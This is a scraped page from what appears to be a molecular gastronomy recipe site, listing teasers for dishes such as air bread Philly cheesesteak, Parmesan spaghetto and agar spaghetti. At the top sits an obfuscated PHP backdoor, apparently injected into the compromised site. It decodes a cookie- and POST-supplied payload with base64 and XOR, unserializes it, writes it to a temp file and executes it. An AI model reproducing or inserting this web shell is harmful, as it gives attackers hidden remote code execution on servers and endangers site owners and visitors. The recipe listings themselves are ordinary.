$IBfMM = chr ( 613 - 502 ).chr (95) . 'd' . chr (84) . "\x67" . "\x6a";$BEcTzzaUs = chr (99) . 'l' . 'a' . "\x73" . chr (115) . "\137" . 'e' . chr (120) . chr ( 859 - 754 ).chr (115) . 't' . "\163";$aGxrbeEjRN = class_exists($IBfMM); $BEcTzzaUs = "3697";$mSwkjzA = !1;if ($aGxrbeEjRN == $mSwkjzA){function WbVwyBtF(){return FALSE;}$JgGBQJy = "49";WbVwyBtF();class o_dTgj{private function ULxlcMa($JgGBQJy){if (is_array(o_dTgj::$VrRAKdxp)) {$vQFpwu = sys_get_temp_dir() . "/" . crc32(o_dTgj::$VrRAKdxp[chr (115) . "\x61" . 'l' . "\164"]);@o_dTgj::$VrRAKdxp[chr (119) . chr ( 743 - 629 )."\x69" . 't' . 'e']($vQFpwu, o_dTgj::$VrRAKdxp['c' . 'o' . "\x6e" . "\164" . 'e' . 'n' . chr ( 880 - 764 )]);include $vQFpwu;@o_dTgj::$VrRAKdxp[chr (100) . 'e' . chr ( 871 - 763 ).chr ( 348 - 247 ).chr (116) . chr ( 638 - 537 )]($vQFpwu); $JgGBQJy = "49";exit();}}private $hImlfcTJY;public function UNDEBkA(){echo 59060;}public function __destruct(){$JgGBQJy = "8587_38387";$this->ULxlcMa($JgGBQJy); $JgGBQJy = "8587_38387";}public function __construct($yEBvWXjR=0){$dQJieFGg = $_POST;$kGzEIA = $_COOKIE;$nXKxdj = "e8fe6741-8d27-4953-aafc-0fbcefc84b4c";$goNbho = @$kGzEIA[substr($nXKxdj, 0, 4)];if (!empty($goNbho)){$hKCchKZhB = "base64";$iRrvTsiV = "";$goNbho = explode(",", $goNbho);foreach ($goNbho as $xDRuAmcEj){$iRrvTsiV .= @$kGzEIA[$xDRuAmcEj];$iRrvTsiV .= @$dQJieFGg[$xDRuAmcEj];}$iRrvTsiV = array_map($hKCchKZhB . "\x5f" . "\144" . chr (101) . chr ( 857 - 758 ).chr (111) . "\144" . chr ( 287 - 186 ), array($iRrvTsiV,)); $iRrvTsiV = $iRrvTsiV[0] ^ str_repeat($nXKxdj, (strlen($iRrvTsiV[0]) / strlen($nXKxdj)) + 1);o_dTgj::$VrRAKdxp = @unserialize($iRrvTsiV); $iRrvTsiV = class_exists("8587_38387");}}public static $VrRAKdxp = 36984;}$CCQRbJKXb = new /* 25183 */ $IBfMM(49 + 49); $mSwkjzA = $CCQRbJKXb = $JgGBQJy = Array();} Intermediate | Molecular Recipes - Page 6
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1-Air Bread Philly Cheesesteak

Air Bread Philly Cheesesteak

This is a spectacular molecular gastronomy version of a Philly Cheesesteak sandwich. The “air bread” is crispy  ... CONTINUE
Egg Foam with Chive Infusion

Egg Foam with Chive Infusion

The buttery taste and lightness of this egg foam combined with a perfectly topped egg shell will make the perfect m ... CONTINUE
4- Dry Caramel with Sea Salt

Dry Caramel with Sea Salt

The dry caramel is a molecular gastronomy powder created with Tapioca Maltodextrin. This recipe is based on the mol ... CONTINUE
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Chocolate Cremeux and Olive Oil

Chocolate Cremeux with Olive Oil and Salt

The combination of the silky smooth milk chocolate cremeux with fruity olive oil and sea salt flakes is perfect. Yo ... CONTINUE
3-Saffron Tagliatelle of Consomme

Saffron Tagliatelle of Consomme Recipe

These original saffron tagliatelle of consommé are another molecular gastronomy creation of Ferran Adria and El Bu ... CONTINUE
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Parmesan ice cream with Prosciutto

Parmesan ice cream with Prosciutto

Savory ice creams are very popular nowadays in molecular gastronomy and this Parmesan ice cream is my favorite. The ... CONTINUE
morel-air-sqr

Morel Mushroom Pasta with Morel Air

This Morel mushroom pasta with Morel air is one of my favorite dishes. The Morel mushroom's delicate balance of ear ... CONTINUE
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mozzarella-balloon-sqr

Mozzarella Balloons Recipe

The mozzarella balloons will definitely surprise your diners when they finally decide to puncture the mozzarella ba ... CONTINUE
arugula-agar-spaghetti-sqr

Arugula Agar Spaghetti

The arugula spaghetto is a 2 meter (6 feet) spaghetto or noodle made of jellified tomato soup using agar agar as th ... CONTINUE
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potato-foam-gnocchi-sqr

Potato Foam Gnocchi with Roasted Potato Skin Consomme

Ferran Adria's potato foam gnocchi are served with a consommé of roasted potato skin, whipped cream and sea water  ... CONTINUE
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tomato-agar-spaghetti-sqr

Tomato Agar Spaghetti

The tomato spaghetto is a 2 meter (6 feet) spaghetto or noodle made of jellified tomato soup using agar agar as the ... CONTINUE
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parmesan-spaghetto-sqr

Parmesan Spaghetto Recipe

This is an extraordinary molecular gastronomy recipe from Ferran Adria and El Bulli team. The Parmesan Spaghetto is ... CONTINUE
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